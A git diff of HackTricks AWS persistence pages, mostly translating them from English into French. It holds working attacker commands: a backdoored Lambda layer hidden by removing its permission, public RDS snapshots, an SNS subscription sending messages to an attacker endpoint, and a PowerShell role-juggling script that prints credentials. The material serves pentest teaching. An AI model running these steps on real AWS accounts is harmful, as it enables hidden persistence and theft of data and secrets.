- **Créer** une **couche** dans **son compte**, donner l'**accès au compte victime** pour utiliser la couche, **configurer** la **couche** dans la Lambda de la victime et **retirer la permission**.
|
||||
- La **Lambda** pourra toujours **utiliser la couche** et la **victime n'aura** aucun moyen facile de **télécharger le code des couches** (à part obtenir un shell inversé à l'intérieur de la lambda)
|
||||
- La victime **ne verra pas les couches externes** utilisées avec **`aws lambda list-layers`**
|
||||
```bash
|
||||
# Upload backdoor layer
|
||||
aws lambda publish-layer-version --layer-name "ExternalBackdoor" --zip-file file://backdoor.zip --compatible-architectures "x86_64" "arm64" --compatible-runtimes "python3.9" "python3.8" "python3.7" "python3.6"
|
||||
@@ -126,9 +117,4 @@ aws lambda add-layer-version-permission --layer-name ExternalBackdoor --statemen
|
||||
# Remove permissions
|
||||
aws lambda remove-layer-version-permission --layer-name ExternalBackdoor --statement-id xaccount --version-number 1
|
||||
```
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
@@ -4,34 +4,30 @@
|
||||
|
||||
## Lightsail
|
||||
|
||||
For more information check:
|
||||
Pour plus d'informations, consultez :
|
||||
|
||||
{{#ref}}
|
||||
../aws-services/aws-lightsail-enum.md
|
||||
{{#endref}}
|
||||
|
||||
### Download Instance SSH keys & DB passwords
|
||||
### Télécharger les clés SSH de l'instance et les mots de passe de la base de données
|
||||
|
||||
They won't be changed probably so just having them is a good option for persistence
|
||||
Ils ne seront probablement pas changés, donc les avoir est une bonne option pour la persistance.
|
||||
|
||||
### Backdoor Instances
|
||||
### Instances de porte dérobée
|
||||
|
||||
An attacker could get access to the instances and backdoor them:
|
||||
Un attaquant pourrait accéder aux instances et y installer une porte dérobée :
|
||||
|
||||
- Using a traditional **rootkit** for example
|
||||
- Adding a new **public SSH key**
|
||||
- Expose a port with port knocking with a backdoor
|
||||
- En utilisant un **rootkit** traditionnel par exemple
|
||||
- En ajoutant une nouvelle **clé SSH publique**
|
||||
- En exposant un port avec un knocking de port avec une porte dérobée
|
||||
|
||||
### DNS persistence
|
||||
### Persistance DNS
|
||||
|
||||
If domains are configured:
|
||||
Si des domaines sont configurés :
|
||||
|
||||
- Create a subdomain pointing your IP so you will have a **subdomain takeover**
|
||||
- Create **SPF** record allowing you to send **emails** from the domain
|
||||
- Configure the **main domain IP to your own one** and perform a **MitM** from your IP to the legit ones
|
||||
- Créez un sous-domaine pointant vers votre IP afin d'avoir un **sous-domaine takeover**
|
||||
- Créez un enregistrement **SPF** vous permettant d'envoyer des **emails** depuis le domaine
|
||||
- Configurez l'**IP du domaine principal à la vôtre** et effectuez un **MitM** de votre IP vers les légitimes
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
@@ -4,32 +4,24 @@
|
||||
|
||||
## RDS
|
||||
|
||||
For more information check:
|
||||
Pour plus d'informations, consultez :
|
||||
|
||||
{{#ref}}
|
||||
../aws-services/aws-relational-database-rds-enum.md
|
||||
{{#endref}}
|
||||
|
||||
### Make instance publicly accessible: `rds:ModifyDBInstance`
|
||||
|
||||
An attacker with this permission can **modify an existing RDS instance to enable public accessibility**.
|
||||
### Rendre l'instance accessible publiquement : `rds:ModifyDBInstance`
|
||||
|
||||
Un attaquant disposant de cette autorisation peut **modifier une instance RDS existante pour activer l'accessibilité publique**.
|
||||
```bash
|
||||
aws rds modify-db-instance --db-instance-identifier target-instance --publicly-accessible --apply-immediately
|
||||
```
|
||||
### Créer un utilisateur admin dans la DB
|
||||
|
||||
### Create an admin user inside the DB
|
||||
|
||||
An attacker could just **create a user inside the DB** so even if the master users password is modified he **doesn't lose the access** to the database.
|
||||
|
||||
### Make snapshot public
|
||||
Un attaquant pourrait simplement **créer un utilisateur dans la DB** donc même si le mot de passe de l'utilisateur principal est modifié, il **ne perd pas l'accès** à la base de données.
|
||||
|
||||
### Rendre le snapshot public
|
||||
```bash
|
||||
aws rds modify-db-snapshot-attribute --db-snapshot-identifier <snapshot-name> --attribute-name restore --values-to-add all
|
||||
```
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
@@ -4,7 +4,7 @@
|
||||
|
||||
## S3
|
||||
|
||||
For more information check:
|
||||
Pour plus d'informations, consultez :
|
||||
|
||||
{{#ref}}
|
||||
../aws-services/aws-s3-athena-and-glacier-enum.md
|
||||
@@ -12,18 +12,14 @@ For more information check:
|
||||
|
||||
### KMS Client-Side Encryption
|
||||
|
||||
When the encryption process is done the user will use the KMS API to generate a new key (`aws kms generate-data-key`) and he will **store the generated encrypted key inside the metadata** of the file ([python code example](https://aioboto3.readthedocs.io/en/latest/cse.html#how-it-works-kms-managed-keys)) so when the decrypting occur it can decrypt it using KMS again:
|
||||
Lorsque le processus de chiffrement est terminé, l'utilisateur utilisera l'API KMS pour générer une nouvelle clé (`aws kms generate-data-key`) et il **stockera la clé chiffrée générée dans les métadonnées** du fichier ([exemple de code python](https://aioboto3.readthedocs.io/en/latest/cse.html#how-it-works-kms-managed-keys)) afin que lors du déchiffrement, il puisse la déchiffrer à nouveau avec KMS :
|
||||
|
||||
<figure><img src="../../../images/image (226).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
Therefore, and attacker could get this key from the metadata and decrypt with KMS (`aws kms decrypt`) to obtain the key used to encrypt the information. This way the attacker will have the encryption key and if that key is reused to encrypt other files he will be able to use it.
|
||||
Par conséquent, un attaquant pourrait obtenir cette clé à partir des métadonnées et déchiffrer avec KMS (`aws kms decrypt`) pour obtenir la clé utilisée pour chiffrer les informations. De cette manière, l'attaquant disposera de la clé de chiffrement et si cette clé est réutilisée pour chiffrer d'autres fichiers, il pourra l'utiliser.
|
||||
|
||||
### Using S3 ACLs
|
||||
|
||||
Although usually ACLs of buckets are disabled, an attacker with enough privileges could abuse them (if enabled or if the attacker can enable them) to keep access to the S3 bucket.
|
||||
Bien que les ACL des buckets soient généralement désactivées, un attaquant disposant de privilèges suffisants pourrait en abuser (si elles sont activées ou si l'attaquant peut les activer) pour conserver l'accès au bucket S3.
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
@@ -1,57 +1,51 @@
|
||||
# AWS - Secrets Manager Persistence
|
||||
# AWS - Persistence de Secrets Manager
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
## Secrets Manager
|
||||
|
||||
For more info check:
|
||||
Pour plus d'infos, consultez :
|
||||
|
||||
{{#ref}}
|
||||
../aws-services/aws-secrets-manager-enum.md
|
||||
{{#endref}}
|
||||
|
||||
### Via Resource Policies
|
||||
### Via les politiques de ressources
|
||||
|
||||
It's possible to **grant access to secrets to external accounts** via resource policies. Check the [**Secrets Manager Privesc page**](../aws-privilege-escalation/aws-secrets-manager-privesc.md) for more information. Note that to **access a secret**, the external account will also **need access to the KMS key encrypting the secret**.
|
||||
Il est possible de **donner accès aux secrets à des comptes externes** via des politiques de ressources. Consultez la [**page Privesc de Secrets Manager**](../aws-privilege-escalation/aws-secrets-manager-privesc.md) pour plus d'informations. Notez que pour **accéder à un secret**, le compte externe aura également **besoin d'accès à la clé KMS chiffrant le secret**.
|
||||
|
||||
### Via Secrets Rotate Lambda
|
||||
### Via Lambda de rotation de secrets
|
||||
|
||||
To **rotate secrets** automatically a configured **Lambda** is called. If an attacker could **change** the **code** he could directly **exfiltrate the new secret** to himself.
|
||||
|
||||
This is how lambda code for such action could look like:
|
||||
Pour **faire tourner les secrets** automatiquement, une **Lambda** configurée est appelée. Si un attaquant pouvait **modifier** le **code**, il pourrait directement **exfiltrer le nouveau secret** pour lui-même.
|
||||
|
||||
Voici à quoi pourrait ressembler le code lambda pour une telle action :
|
||||
```python
|
||||
import boto3
|
||||
|
||||
def rotate_secrets(event, context):
|
||||
# Create a Secrets Manager client
|
||||
client = boto3.client('secretsmanager')
|
||||
# Create a Secrets Manager client
|
||||
client = boto3.client('secretsmanager')
|
||||
|
||||
# Retrieve the current secret value
|
||||
secret_value = client.get_secret_value(SecretId='example_secret_id')['SecretString']
|
||||
# Retrieve the current secret value
|
||||
secret_value = client.get_secret_value(SecretId='example_secret_id')['SecretString']
|
||||
|
||||
# Rotate the secret by updating its value
|
||||
new_secret_value = rotate_secret(secret_value)
|
||||
client.update_secret(SecretId='example_secret_id', SecretString=new_secret_value)
|
||||
# Rotate the secret by updating its value
|
||||
new_secret_value = rotate_secret(secret_value)
|
||||
client.update_secret(SecretId='example_secret_id', SecretString=new_secret_value)
|
||||
|
||||
def rotate_secret(secret_value):
|
||||
# Perform the rotation logic here, e.g., generate a new password
|
||||
# Perform the rotation logic here, e.g., generate a new password
|
||||
|
||||
# Example: Generate a new password
|
||||
new_secret_value = generate_password()
|
||||
# Example: Generate a new password
|
||||
new_secret_value = generate_password()
|
||||
|
||||
return new_secret_value
|
||||
return new_secret_value
|
||||
|
||||
def generate_password():
|
||||
# Example: Generate a random password using the secrets module
|
||||
import secrets
|
||||
import string
|
||||
password = ''.join(secrets.choice(string.ascii_letters + string.digits) for i in range(16))
|
||||
return password
|
||||
# Example: Generate a random password using the secrets module
|
||||
import secrets
|
||||
import string
|
||||
password = ''.join(secrets.choice(string.ascii_letters + string.digits) for i in range(16))
|
||||
return password
|
||||
```
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
@@ -4,7 +4,7 @@
|
||||
|
||||
## SNS
|
||||
|
||||
For more information check:
|
||||
Pour plus d'informations, consultez :
|
||||
|
||||
{{#ref}}
|
||||
../aws-services/aws-sns-enum.md
|
||||
@@ -12,74 +12,66 @@ For more information check:
|
||||
|
||||
### Persistence
|
||||
|
||||
When creating a **SNS topic** you need to indicate with an IAM policy **who has access to read and write**. It's possible to indicate external accounts, ARN of roles, or **even "\*"**.\
|
||||
The following policy gives everyone in AWS access to read and write in the SNS topic called **`MySNS.fifo`**:
|
||||
|
||||
Lors de la création d'un **SNS topic**, vous devez indiquer avec une politique IAM **qui a accès à lire et écrire**. Il est possible d'indiquer des comptes externes, des ARN de rôles, ou **même "\*"**.\
|
||||
La politique suivante donne à tout le monde dans AWS l'accès pour lire et écrire dans le SNS topic appelé **`MySNS.fifo`** :
|
||||
```json
|
||||
{
|
||||
"Version": "2008-10-17",
|
||||
"Id": "__default_policy_ID",
|
||||
"Statement": [
|
||||
{
|
||||
"Sid": "__default_statement_ID",
|
||||
"Effect": "Allow",
|
||||
"Principal": {
|
||||
"AWS": "*"
|
||||
},
|
||||
"Action": [
|
||||
"SNS:Publish",
|
||||
"SNS:RemovePermission",
|
||||
"SNS:SetTopicAttributes",
|
||||
"SNS:DeleteTopic",
|
||||
"SNS:ListSubscriptionsByTopic",
|
||||
"SNS:GetTopicAttributes",
|
||||
"SNS:AddPermission",
|
||||
"SNS:Subscribe"
|
||||
],
|
||||
"Resource": "arn:aws:sns:us-east-1:318142138553:MySNS.fifo",
|
||||
"Condition": {
|
||||
"StringEquals": {
|
||||
"AWS:SourceOwner": "318142138553"
|
||||
}
|
||||
}
|
||||
},
|
||||
{
|
||||
"Sid": "__console_pub_0",
|
||||
"Effect": "Allow",
|
||||
"Principal": {
|
||||
"AWS": "*"
|
||||
},
|
||||
"Action": "SNS:Publish",
|
||||
"Resource": "arn:aws:sns:us-east-1:318142138553:MySNS.fifo"
|
||||
},
|
||||
{
|
||||
"Sid": "__console_sub_0",
|
||||
"Effect": "Allow",
|
||||
"Principal": {
|
||||
"AWS": "*"
|
||||
},
|
||||
"Action": "SNS:Subscribe",
|
||||
"Resource": "arn:aws:sns:us-east-1:318142138553:MySNS.fifo"
|
||||
}
|
||||
]
|
||||
"Version": "2008-10-17",
|
||||
"Id": "__default_policy_ID",
|
||||
"Statement": [
|
||||
{
|
||||
"Sid": "__default_statement_ID",
|
||||
"Effect": "Allow",
|
||||
"Principal": {
|
||||
"AWS": "*"
|
||||
},
|
||||
"Action": [
|
||||
"SNS:Publish",
|
||||
"SNS:RemovePermission",
|
||||
"SNS:SetTopicAttributes",
|
||||
"SNS:DeleteTopic",
|
||||
"SNS:ListSubscriptionsByTopic",
|
||||
"SNS:GetTopicAttributes",
|
||||
"SNS:AddPermission",
|
||||
"SNS:Subscribe"
|
||||
],
|
||||
"Resource": "arn:aws:sns:us-east-1:318142138553:MySNS.fifo",
|
||||
"Condition": {
|
||||
"StringEquals": {
|
||||
"AWS:SourceOwner": "318142138553"
|
||||
}
|
||||
}
|
||||
},
|
||||
{
|
||||
"Sid": "__console_pub_0",
|
||||
"Effect": "Allow",
|
||||
"Principal": {
|
||||
"AWS": "*"
|
||||
},
|
||||
"Action": "SNS:Publish",
|
||||
"Resource": "arn:aws:sns:us-east-1:318142138553:MySNS.fifo"
|
||||
},
|
||||
{
|
||||
"Sid": "__console_sub_0",
|
||||
"Effect": "Allow",
|
||||
"Principal": {
|
||||
"AWS": "*"
|
||||
},
|
||||
"Action": "SNS:Subscribe",
|
||||
"Resource": "arn:aws:sns:us-east-1:318142138553:MySNS.fifo"
|
||||
}
|
||||
]
|
||||
}
|
||||
```
|
||||
### Créer des abonnés
|
||||
|
||||
### Create Subscribers
|
||||
|
||||
To continue exfiltrating all the messages from all the topics and attacker could **create subscribers for all the topics**.
|
||||
|
||||
Note that if the **topic is of type FIFO**, only subscribers using the protocol **SQS** can be used.
|
||||
Pour continuer à exfiltrer tous les messages de tous les sujets, l'attaquant pourrait **créer des abonnés pour tous les sujets**.
|
||||
|
||||
Notez que si le **sujet est de type FIFO**, seuls les abonnés utilisant le protocole **SQS** peuvent être utilisés.
|
||||
```bash
|
||||
aws sns subscribe --region <region> \
|
||||
--protocol http \
|
||||
--notification-endpoint http://<attacker>/ \
|
||||
--topic-arn <arn>
|
||||
--protocol http \
|
||||
--notification-endpoint http://<attacker>/ \
|
||||
--topic-arn <arn>
|
||||
```
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
@@ -4,40 +4,34 @@
|
||||
|
||||
## SQS
|
||||
|
||||
For more information check:
|
||||
Pour plus d'informations, consultez :
|
||||
|
||||
{{#ref}}
|
||||
../aws-services/aws-sqs-and-sns-enum.md
|
||||
{{#endref}}
|
||||
|
||||
### Using resource policy
|
||||
|
||||
In SQS you need to indicate with an IAM policy **who has access to read and write**. It's possible to indicate external accounts, ARN of roles, or **even "\*"**.\
|
||||
The following policy gives everyone in AWS access to everything in the queue called **MyTestQueue**:
|
||||
### Utilisation de la politique de ressources
|
||||
|
||||
Dans SQS, vous devez indiquer avec une politique IAM **qui a accès à lire et écrire**. Il est possible d'indiquer des comptes externes, l'ARN de rôles, ou **même "\*"**.\
|
||||
La politique suivante donne à tout le monde dans AWS accès à tout dans la file d'attente appelée **MyTestQueue** :
|
||||
```json
|
||||
{
|
||||
"Version": "2008-10-17",
|
||||
"Id": "__default_policy_ID",
|
||||
"Statement": [
|
||||
{
|
||||
"Sid": "__owner_statement",
|
||||
"Effect": "Allow",
|
||||
"Principal": {
|
||||
"AWS": "*"
|
||||
},
|
||||
"Action": ["SQS:*"],
|
||||
"Resource": "arn:aws:sqs:us-east-1:123123123123:MyTestQueue"
|
||||
}
|
||||
]
|
||||
"Version": "2008-10-17",
|
||||
"Id": "__default_policy_ID",
|
||||
"Statement": [
|
||||
{
|
||||
"Sid": "__owner_statement",
|
||||
"Effect": "Allow",
|
||||
"Principal": {
|
||||
"AWS": "*"
|
||||
},
|
||||
"Action": ["SQS:*"],
|
||||
"Resource": "arn:aws:sqs:us-east-1:123123123123:MyTestQueue"
|
||||
}
|
||||
]
|
||||
}
|
||||
```
|
||||
|
||||
> [!NOTE]
|
||||
> You could even **trigger a Lambda in the attackers account every-time a new message** is put in the queue (you would need to re-put it) somehow. For this follow these instructinos: [https://docs.aws.amazon.com/lambda/latest/dg/with-sqs-cross-account-example.html](https://docs.aws.amazon.com/lambda/latest/dg/with-sqs-cross-account-example.html)
|
||||
> Vous pourriez même **déclencher une Lambda dans le compte de l'attaquant chaque fois qu'un nouveau message** est mis dans la file d'attente (vous devrez le remettre) d'une manière ou d'une autre. Pour cela, suivez ces instructions : [https://docs.aws.amazon.com/lambda/latest/dg/with-sqs-cross-account-example.html](https://docs.aws.amazon.com/lambda/latest/dg/with-sqs-cross-account-example.html)
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
@@ -1,6 +1 @@
|
||||
# AWS - SSM Perssitence
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
@@ -1,25 +1,21 @@
|
||||
# AWS - Step Functions Persistence
|
||||
# AWS - Persistance des Step Functions
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
## Step Functions
|
||||
|
||||
For more information check:
|
||||
Pour plus d'informations, consultez :
|
||||
|
||||
{{#ref}}
|
||||
../aws-services/aws-stepfunctions-enum.md
|
||||
{{#endref}}
|
||||
|
||||
### Step function Backdooring
|
||||
### Backdooring des Step Functions
|
||||
|
||||
Backdoor a step function to make it perform any persistence trick so every time it's executed it will run your malicious steps.
|
||||
Backdoor une step function pour qu'elle exécute n'importe quel truc de persistance afin que chaque fois qu'elle soit exécutée, elle exécute vos étapes malveillantes.
|
||||
|
||||
### Backdooring aliases
|
||||
### Backdooring des alias
|
||||
|
||||
If the AWS account is using aliases to call step functions it would be possible to modify an alias to use a new backdoored version of the step function.
|
||||
Si le compte AWS utilise des alias pour appeler des step functions, il serait possible de modifier un alias pour utiliser une nouvelle version backdoorée de la step function.
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
@@ -4,62 +4,59 @@
|
||||
|
||||
## STS
|
||||
|
||||
For more information access:
|
||||
Pour plus d'informations, accédez à :
|
||||
|
||||
{{#ref}}
|
||||
../aws-services/aws-sts-enum.md
|
||||
{{#endref}}
|
||||
|
||||
### Assume role token
|
||||
### Jeton de rôle assumé
|
||||
|
||||
Temporary tokens cannot be listed, so maintaining an active temporary token is a way to maintain persistence.
|
||||
Les jetons temporaires ne peuvent pas être listés, donc maintenir un jeton temporaire actif est un moyen de maintenir la persistance.
|
||||
|
||||
<pre class="language-bash"><code class="lang-bash">aws sts get-session-token --duration-seconds 129600
|
||||
|
||||
# With MFA
|
||||
# Avec MFA
|
||||
aws sts get-session-token \
|
||||
--serial-number <mfa-device-name> \
|
||||
--token-code <code-from-token>
|
||||
--serial-number <mfa-device-name> \
|
||||
--token-code <code-from-token>
|
||||
|
||||
# Hardware device name is usually the number from the back of the device, such as GAHT12345678
|
||||
<strong># SMS device name is the ARN in AWS, such as arn:aws:iam::123456789012:sms-mfa/username
|
||||
</strong># Vritual device name is the ARN in AWS, such as arn:aws:iam::123456789012:mfa/username
|
||||
# Le nom de l'appareil matériel est généralement le numéro au dos de l'appareil, tel que GAHT12345678
|
||||
<strong># Le nom de l'appareil SMS est l'ARN dans AWS, tel que arn:aws:iam::123456789012:sms-mfa/username
|
||||
</strong># Le nom de l'appareil virtuel est l'ARN dans AWS, tel que arn:aws:iam::123456789012:mfa/username
|
||||
</code></pre>
|
||||
|
||||
### Role Chain Juggling
|
||||
### Jonglage de chaînes de rôles
|
||||
|
||||
[**Role chaining is an acknowledged AWS feature**](https://docs.aws.amazon.com/IAM/latest/UserGuide/id_roles_terms-and-concepts.html#Role%20chaining), often utilized for maintaining stealth persistence. It involves the ability to **assume a role which then assumes another**, potentially reverting to the initial role in a **cyclical manner**. Each time a role is assumed, the credentials' expiration field is refreshed. Consequently, if two roles are configured to mutually assume each other, this setup allows for the perpetual renewal of credentials.
|
||||
|
||||
You can use this [**tool**](https://github.com/hotnops/AWSRoleJuggler/) to keep the role chaining going:
|
||||
[**Le chaînage de rôles est une fonctionnalité reconnue d'AWS**](https://docs.aws.amazon.com/IAM/latest/UserGuide/id_roles_terms-and-concepts.html#Role%20chaining), souvent utilisée pour maintenir une persistance discrète. Cela implique la capacité d'**assumer un rôle qui en assume ensuite un autre**, pouvant potentiellement revenir au rôle initial de manière **cyclique**. Chaque fois qu'un rôle est assumé, le champ d'expiration des identifiants est actualisé. Par conséquent, si deux rôles sont configurés pour s'assumer mutuellement, cette configuration permet le renouvellement perpétuel des identifiants.
|
||||
|
||||
Vous pouvez utiliser cet [**outil**](https://github.com/hotnops/AWSRoleJuggler/) pour continuer le chaînage de rôles :
|
||||
```bash
|
||||
./aws_role_juggler.py -h
|
||||
usage: aws_role_juggler.py [-h] [-r ROLE_LIST [ROLE_LIST ...]]
|
||||
|
||||
optional arguments:
|
||||
-h, --help show this help message and exit
|
||||
-r ROLE_LIST [ROLE_LIST ...], --role-list ROLE_LIST [ROLE_LIST ...]
|
||||
-h, --help show this help message and exit
|
||||
-r ROLE_LIST [ROLE_LIST ...], --role-list ROLE_LIST [ROLE_LIST ...]
|
||||
```
|
||||
|
||||
> [!CAUTION]
|
||||
> Note that the [find_circular_trust.py](https://github.com/hotnops/AWSRoleJuggler/blob/master/find_circular_trust.py) script from that Github repository doesn't find all the ways a role chain can be configured.
|
||||
> Notez que le script [find_circular_trust.py](https://github.com/hotnops/AWSRoleJuggler/blob/master/find_circular_trust.py) de ce dépôt Github ne trouve pas toutes les manières dont une chaîne de rôle peut être configurée.
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Code to perform Role Juggling from PowerShell</summary>
|
||||
|
||||
<summary>Code pour effectuer le Role Juggling depuis PowerShell</summary>
|
||||
```powershell
|
||||
# PowerShell script to check for role juggling possibilities using AWS CLI
|
||||
|
||||
# Check for AWS CLI installation
|
||||
if (-not (Get-Command "aws" -ErrorAction SilentlyContinue)) {
|
||||
Write-Error "AWS CLI is not installed. Please install it and configure it with 'aws configure'."
|
||||
exit
|
||||
Write-Error "AWS CLI is not installed. Please install it and configure it with 'aws configure'."
|
||||
exit
|
||||
}
|
||||
|
||||
# Function to list IAM roles
|
||||
function List-IAMRoles {
|
||||
aws iam list-roles --query "Roles[*].{RoleName:RoleName, Arn:Arn}" --output json
|
||||
aws iam list-roles --query "Roles[*].{RoleName:RoleName, Arn:Arn}" --output json
|
||||
}
|
||||
|
||||
# Initialize error count
|
||||
@@ -70,66 +67,61 @@ $roles = List-IAMRoles | ConvertFrom-Json
|
||||
|
||||
# Attempt to assume each role
|
||||
foreach ($role in $roles) {
|
||||
$sessionName = "RoleJugglingTest-" + (Get-Date -Format FileDateTime)
|
||||
try {
|
||||
$credentials = aws sts assume-role --role-arn $role.Arn --role-session-name $sessionName --query "Credentials" --output json 2>$null | ConvertFrom-Json
|
||||
if ($credentials) {
|
||||
Write-Host "Successfully assumed role: $($role.RoleName)"
|
||||
Write-Host "Access Key: $($credentials.AccessKeyId)"
|
||||
Write-Host "Secret Access Key: $($credentials.SecretAccessKey)"
|
||||
Write-Host "Session Token: $($credentials.SessionToken)"
|
||||
Write-Host "Expiration: $($credentials.Expiration)"
|
||||
$sessionName = "RoleJugglingTest-" + (Get-Date -Format FileDateTime)
|
||||
try {
|
||||
$credentials = aws sts assume-role --role-arn $role.Arn --role-session-name $sessionName --query "Credentials" --output json 2>$null | ConvertFrom-Json
|
||||
if ($credentials) {
|
||||
Write-Host "Successfully assumed role: $($role.RoleName)"
|
||||
Write-Host "Access Key: $($credentials.AccessKeyId)"
|
||||
Write-Host "Secret Access Key: $($credentials.SecretAccessKey)"
|
||||
Write-Host "Session Token: $($credentials.SessionToken)"
|
||||
Write-Host "Expiration: $($credentials.Expiration)"
|
||||
|
||||
# Set temporary credentials to assume the next role
|
||||
$env:AWS_ACCESS_KEY_ID = $credentials.AccessKeyId
|
||||
$env:AWS_SECRET_ACCESS_KEY = $credentials.SecretAccessKey
|
||||
$env:AWS_SESSION_TOKEN = $credentials.SessionToken
|
||||
# Set temporary credentials to assume the next role
|
||||
$env:AWS_ACCESS_KEY_ID = $credentials.AccessKeyId
|
||||
$env:AWS_SECRET_ACCESS_KEY = $credentials.SecretAccessKey
|
||||
$env:AWS_SESSION_TOKEN = $credentials.SessionToken
|
||||
|
||||
# Try to assume another role using the temporary credentials
|
||||
foreach ($nextRole in $roles) {
|
||||
if ($nextRole.Arn -ne $role.Arn) {
|
||||
$nextSessionName = "RoleJugglingTest-" + (Get-Date -Format FileDateTime)
|
||||
try {
|
||||
$nextCredentials = aws sts assume-role --role-arn $nextRole.Arn --role-session-name $nextSessionName --query "Credentials" --output json 2>$null | ConvertFrom-Json
|
||||
if ($nextCredentials) {
|
||||
Write-Host "Also successfully assumed role: $($nextRole.RoleName) from $($role.RoleName)"
|
||||
Write-Host "Access Key: $($nextCredentials.AccessKeyId)"
|
||||
Write-Host "Secret Access Key: $($nextCredentials.SecretAccessKey)"
|
||||
Write-Host "Session Token: $($nextCredentials.SessionToken)"
|
||||
Write-Host "Expiration: $($nextCredentials.Expiration)"
|
||||
}
|
||||
} catch {
|
||||
$errorCount++
|
||||
}
|
||||
}
|
||||
}
|
||||
# Try to assume another role using the temporary credentials
|
||||
foreach ($nextRole in $roles) {
|
||||
if ($nextRole.Arn -ne $role.Arn) {
|
||||
$nextSessionName = "RoleJugglingTest-" + (Get-Date -Format FileDateTime)
|
||||
try {
|
||||
$nextCredentials = aws sts assume-role --role-arn $nextRole.Arn --role-session-name $nextSessionName --query "Credentials" --output json 2>$null | ConvertFrom-Json
|
||||
if ($nextCredentials) {
|
||||
Write-Host "Also successfully assumed role: $($nextRole.RoleName) from $($role.RoleName)"
|
||||
Write-Host "Access Key: $($nextCredentials.AccessKeyId)"
|
||||
Write-Host "Secret Access Key: $($nextCredentials.SecretAccessKey)"
|
||||
Write-Host "Session Token: $($nextCredentials.SessionToken)"
|
||||
Write-Host "Expiration: $($nextCredentials.Expiration)"
|
||||
}
|
||||
} catch {
|
||||
$errorCount++
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
# Reset environment variables
|
||||
Remove-Item Env:\AWS_ACCESS_KEY_ID
|
||||
Remove-Item Env:\AWS_SECRET_ACCESS_KEY
|
||||
Remove-Item Env:\AWS_SESSION_TOKEN
|
||||
} else {
|
||||
$errorCount++
|
||||
}
|
||||
} catch {
|
||||
$errorCount++
|
||||
}
|
||||
# Reset environment variables
|
||||
Remove-Item Env:\AWS_ACCESS_KEY_ID
|
||||
Remove-Item Env:\AWS_SECRET_ACCESS_KEY
|
||||
Remove-Item Env:\AWS_SESSION_TOKEN
|
||||
} else {
|
||||
$errorCount++
|
||||
}
|
||||
} catch {
|
||||
$errorCount++
|
||||
}
|
||||
}
|
||||
|
||||
# Output the number of errors if any
|
||||
if ($errorCount -gt 0) {
|
||||
Write-Host "$errorCount error(s) occurred during role assumption attempts."
|
||||
Write-Host "$errorCount error(s) occurred during role assumption attempts."
|
||||
} else {
|
||||
Write-Host "No errors occurred. All roles checked successfully."
|
||||
Write-Host "No errors occurred. All roles checked successfully."
|
||||
}
|
||||
|
||||
Write-Host "Role juggling check complete."
|
||||
```
|
||||
|
||||
</details>
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
Reference in New Issue
Block a user